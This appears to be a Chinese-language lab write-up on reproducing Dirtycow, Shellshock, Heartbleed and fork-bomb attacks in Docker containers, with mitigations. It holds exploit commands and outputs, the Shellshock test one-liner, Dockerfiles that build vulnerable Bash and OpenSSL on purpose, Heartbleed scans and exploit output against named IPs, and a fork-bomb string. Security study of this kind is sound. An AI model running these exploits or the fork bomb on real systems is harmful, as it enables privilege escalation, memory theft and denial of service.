在 Docker 環境下,Dirtycow 漏洞利用記憶體對映機制,繞過許可權限制修改檔案內容。Shellshock 漏洞則藉由惡意環境變數執行任意程式碼。Heartbleed 漏洞允許攻擊者讀取伺服器記憶體中的敏感資訊。針對這些漏洞,我們可以透過更新 OpenSSL 版本、重新編譯應用程式、更換金鑰憑證等方式來降低風險。此外,使用唯讀模式執行容器、限制行程數量,以及監控系統資源,也能有效提升 Docker 環境的安全性,防止 Fork-bomb 等攻擊。
4. 實驗驗證與分析
4.2 漏洞驗證與實作分析
4.2.1 Dirtycow 漏洞驗證
本文將探討 Dirtycow 漏洞在 Docker 環境下的表現。Dirtycow 是一種 Linux 核心漏洞,能夠讓攻擊者修改只讀記憶體對映。
首先,在 Docker 環境中執行 Dirtycow 漏洞測試:
ubuntu@ip-172-31-18-214:~/dirtycow$ docker run --rm -it --security-opt apparmor:docker-default dirtycow
進入容器後,檢視檔案許可權:
cow@f6cd8607321d:~$ ls -la
total 28
drwxr-xr-x 2 cow cow 4096 Jun 5 15:56 .
drwxr-xr-x 3 root root 4096 May 9 07:43 ..
-rw-r--r-- 1 cow cow 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 cow cow 2826 Jun 5 15:56 dirtyc0w.c
-r
---
--r-- 1 root root 19 May 9 07:54 foo
嘗試修改 foo 檔案內容,但由於許可權不足而失敗:
cow@f6cd8607321d:~$ echo cow wrote this > foo
bash: foo: Permission denied
編譯並執行 Dirtycow 漏洞利用程式:
cow@f6cd8607321d:~$ gcc -pthread dirtyc0w.c -o dirtyc0w
cow@f6cd8607321d:~$ ./dirtyc0w foo dirtycowWroteThis
mmap 7ff7f4b6f000
程式碼解析
Dirtycow 漏洞利用程式碼 dirtyc0w.c 的主要邏輯如下:
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
// 省略部分程式碼
int main(int argc, char *argv[]) {
// ...
}
內容解密:
- 程式碼利用
mmap系統呼叫將檔案對映到記憶體中。 - 使用多執行緒技術競爭寫入只讀記憶體對映。
- 成功修改只讀檔案內容,繞過許可權限制。
4.2.2 Shellshock 漏洞驗證
本文探討 Shellshock 漏洞在 Docker 環境下的表現。Shellshock 是 Bash 的一個嚴重漏洞,能夠讓攻擊者執行任意命令。
在 Hypervisor-based 虛擬機器和 AWS-based 環境中,Bash 版本均為 4.3.11(1),存在 Shellshock 漏洞:
ubuntu@template:~$ /bin/bash --version
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)
驗證 Shellshock 漏洞:
ubuntu@template:~$ env x='() { :;}; echo shellshock' bash -c "echo testing"
shellshock
testing
在 Docker 環境中執行預設的 Ubuntu 映象,Bash 版本更新為 4.3.46(1),已修補 Shellshock 漏洞:
ubuntu@ip-172-31-26-42:~$ docker run -it ubuntu bash
root@44ce051d8c7f:/# /bin/bash --version
GNU bash, version 4.3.46(1)-release (x86_64-pc-linux-gnu)
為了驗證 Shellshock 漏洞,需要建立一個存在漏洞的 Docker 映象。Thibault Normand 提供了一個根據 Ubuntu 14.04 的 Dockerfile,用於建立存在 Shellshock 漏洞的 Docker 映象。
Dockerfile 解析
以下是用於建立存在 Shellshock 漏洞的 Docker 映象的 Dockerfile:
FROM ubuntu:14.04
MAINTAINER Thibault NORMAND <me@zenithar.org>
# 安裝 vulnerable bash
RUN apt-get install -y build-essential wget
RUN wget https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz && \
tar zxvf bash-4.3.tar.gz && \
cd bash-4.3 && \
./configure && \
make && \
make install
圖表翻譯:
此 Dockerfile 從 Ubuntu 14.04 映象開始,安裝必要的編譯工具,下載並編譯存在漏洞的 Bash 版本。
防範措施
為了防止 Shellshock 攻擊,可以透過組態 Docker 環境來建立一個安全的應用環境。Shellshock 漏洞利用 Linux 環境變數來定義攻擊並附加到環境變數中。透過為容器映象提供預定義的環境變數列表,可以減少潛在的安全風險。
4.2 漏洞利用列表與解析
4.2.1 Shellshock 漏洞
首先,我們使用 Docker 建立一個容易受到 Shellshock 攻擊的容器。
建立與執行易受攻擊的容器
ubuntu@ip-172-31-26-42:~$ docker build -t docker-shellshockable:latest .
ubuntu@ip-172-31-26-42:~$ docker run -it docker-shellshockable bash
檢查 Bash 版本
root@70fa62d58526:/# /bin/bash --version
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
利用 Shellshock 漏洞
root@70fa62d58526:/# env x='() { :;}; echo shellshock' bash -c "echo testing"
shellshock
testing
內容解密:
docker build和docker run命令用於建立和執行一個包含易受攻擊的 Bash 版本的容器。/bin/bash --version用於檢查容器內的 Bash 版本,確認其為易受攻擊的版本(4.3.11)。env x='() { :;}; echo shellshock' bash -c "echo testing"是利用 Shellshock 漏洞的命令。透過設定一個特殊的環境變數x,攻擊者可以執行任意程式碼(在此例中為輸出shellshock)。
4.2.2 加強 Docker 安全性
為了防止攻擊者對容器進行永久性更改,可以使用 --read-only 選項以唯讀模式執行容器。
使用唯讀模式執行 Docker
docker run -d --read-only IMAGE
內容解密:
--read-only選項使容器的檔案系統變為唯讀,防止攻擊者在容器內進行任何寫入操作。- 這種方式可以有效防止惡意程式碼對容器環境進行持久化修改。
4.2.3 Heartbleed 漏洞
Heartbleed 是 OpenSSL 中的一個嚴重漏洞,允許攻擊者讀取比預期更多的記憶體內容。
建立 Heartbleed 漏洞環境
以下是一個用於建立 Heartbleed 漏洞環境的 Dockerfile:
FROM ubuntu:14.04
RUN apt-get update
RUN apt-get install -y build-essential wget
WORKDIR /heartbleed
RUN wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1e.tar.gz && \
tar xf openssl-1.0.1e.tar.gz
RUN wget https://nginx.org/download/nginx-1.10.2.tar.gz && \
tar xf nginx-1.10.2.tar.gz && \
cd nginx-1.10.2 && \
./configure --with-http_ssl_module \
--prefix=/etc/nginx/ \
--sbin-path=/usr/bin \
--without-http_gzip_module \
--with-openssl=/heartbleed/openssl-1.0.1e \
--without-pcre \
--with-threads \
--without-http_rewrite_module && \
make && \
make install
RUN cd openssl-1.0.1e && \
./config && \
make && \
make install_sw
COPY nginx.conf /etc/nginx/conf/nginx.conf
RUN mkdir /etc/nginx/certs
COPY cert.pem /etc/nginx/certs/cert.pem
COPY key.pem /etc/nginx/certs/key.pem
EXPOSE 443
CMD ["nginx", "-g", "daemon off;"]
內容解密:
- 此 Dockerfile 根據 Ubuntu 14.04,安裝了編譯 Nginx 和 OpenSSL 所需的工具。
- 下載並編譯了易受 Heartbleed 攻擊的 OpenSSL 版本(1.0.1e)和 Nginx。
- 組態 Nginx 使用 SSL 模組,並將證書和私鑰複製到指定目錄。
- 暴露 443 埠並設定 Nginx 為前台執行。
使用 NMap 掃描 Heartbleed 漏洞
可以使用 NMap 的 ssl-heartbleed 指令碼掃描目標主機是否存在 Heartbleed 漏洞。
nmap -p 443 --script ssl-heartbleed 13.58.99.98
內容解密:
-p 443指定掃描的埠為 443(HTTPS)。--script ssl-heartbleed使用ssl-heartbleed指令碼檢查目標主機是否易受 Heartbleed 攻擊。- 如果目標主機存在漏洞,NMap 將報告其為
VULNERABLE狀態,並提供相關的風險因素和參考連結。
Heartbleed 漏洞分析與防範措施
Heartbleed 是一種嚴重影響 OpenSSL 加密軟體函式庫的漏洞,允許駭客竊取本應受 SSL/TLS 加密保護的資訊。該漏洞存在於 OpenSSL 的 1.0.1 和 1.0.2-beta 版本中,包括 1.0.1f 和 1.0.2-beta1 等特定版本。
Nmap Heartbleed 指令碼掃描結果分析
使用 Nmap 7.40 版本對目標主機進行掃描,結果顯示目標主機(129.241.208.54)存在 Heartbleed 漏洞。
Nmap scan report for dhcp208-54.ed.ntnu.no (129.241.208.54)
Host is up (0.00047s latency).
PORT STATE SERVICE
443/tcp open https
| SSL-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library.
詳細掃描結果解讀
掃描結果顯示目標主機的 443/tcp 連線埠開放了 HTTPS 服務,並且存在 Heartbleed 漏洞。掃描報告詳細描述了漏洞的風險程度、受影響的 OpenSSL 版本以及相關的參考連結。
利用 Heartbleed 漏洞的攻擊範例
使用 Jared Stafford 的 Heartbleed 攻擊範例指令碼對目標主機進行測試,結果顯示目標主機(129.241.208.54)存在漏洞。
$ python2.7 heartbleed_jared_stafford.py 129.241.208.54
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 686
... received message: type = 22, ver = 0302, length = 203
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
WARNING: server returned more data than it should - server is vulnerable!
程式碼詳解
該攻擊指令碼利用 Heartbleed 漏洞,向目標主機傳送惡意的 Heartbeat 請求,並接收伺服器回應的過長資料,從而竊取敏感資訊。
防範 Heartbleed 漏洞的措施
- 更新 OpenSSL 版本:將 OpenSSL 更新至不受漏洞影響的版本。
- 重新編譯應用程式二進位檔:重新編譯與 OpenSSL 相關的應用程式二進位檔。
- 更換金鑰和憑證:更換與受影響的 OpenSSL 版本相關的金鑰和憑證。
- 使用安全功能限制記憶體存取:使用 AppArmor、SELinux 或 Docker 等安全功能限制 OpenSSL 二進位檔的記憶體存取許可權。
Fork-bomb 攻擊分析與防範
Fork-bomb是一種惡意的 Unix 系統命令,旨在耗盡系統資源,使系統當機或無法正常運作。
Fork-bomb 程式碼範例
:(){ :|:& };:
防範 Fork-bomb 的措施
- 限制行程數量:使用 Linux 核心的功能限制使用者或系統的行程數量。
- 監控系統資源:定期監控系統資源使用情況,以便及時發現異常。
- 使用 while 迴圈記錄行程數量:使用 while 迴圈記錄系統行程數量,以便監控系統資源使用情況。
$ while true; do { echo $(ps -ax | wc -l); date; } >> pid.log; sleep .05; done &
紀錄輸出結果分析
紀錄輸出結果顯示系統行程數量的變化,從而幫助管理員監控系統資源使用情況。
3 Tue Nov 1 01:41:19 UTC 2016
...
188 Tue Nov 1 01:41:22 UTC 2016
196 Tue Nov 1 01:41:23 UTC 2016
4 Tue Nov 1 01:41:39 UTC 2016
...
透過上述分析與防範措施,可以有效降低 Heartbleed 和 Fork-bomb 等安全威脅的風險,保護系統和資料的安全。